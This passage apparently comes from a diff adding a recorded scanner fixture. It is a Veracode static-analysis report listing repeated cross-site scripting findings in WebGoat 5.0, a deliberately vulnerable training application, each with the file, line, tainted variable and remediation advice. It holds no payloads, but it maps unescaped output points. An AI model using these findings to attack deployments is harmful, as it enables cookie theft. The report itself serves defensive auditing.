+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
